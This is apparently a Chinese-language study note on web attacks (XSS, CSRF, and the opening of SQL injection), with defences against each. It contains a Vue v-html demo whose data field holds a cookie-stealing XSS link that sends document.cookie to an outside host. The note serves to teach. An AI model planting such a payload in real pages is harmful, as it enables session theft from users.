1.XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,
2读取公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>
<body>
<div id="box">
{{10+20}}
{{myname}}
{{myhtml}}
<div v-html="myhtml"></div>
</div>
<script type="text/javascript">
var vm=new Vue({
el:"#box",
data:{
myname:"1111",
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点击</a>"
}
})
</script>
</body>
</html>
vue中的v-html容易引起xss攻击,(csrf)
解决办法:前端过滤,后台转义,给cookie加上属性http
1、编码,就是转义用户的输入,把用户的输入解读为数据而不是代码
2、校验,对用户的输入及请求都进行过滤检查,如对特殊字符进行过滤,设置输入域的匹配规则等。
2.CSRF概念:CSRF跨站请求伪造(Cross—Site Request Forgery)
CSRF攻击攻击原理及过程如下
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
防御CSRF攻击:
目前防御 CSRF 攻击主要有2种策略:验证 HTTP 请求的Referer 字段;在请求地址中添加 token 并验证
3.SQL注入
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。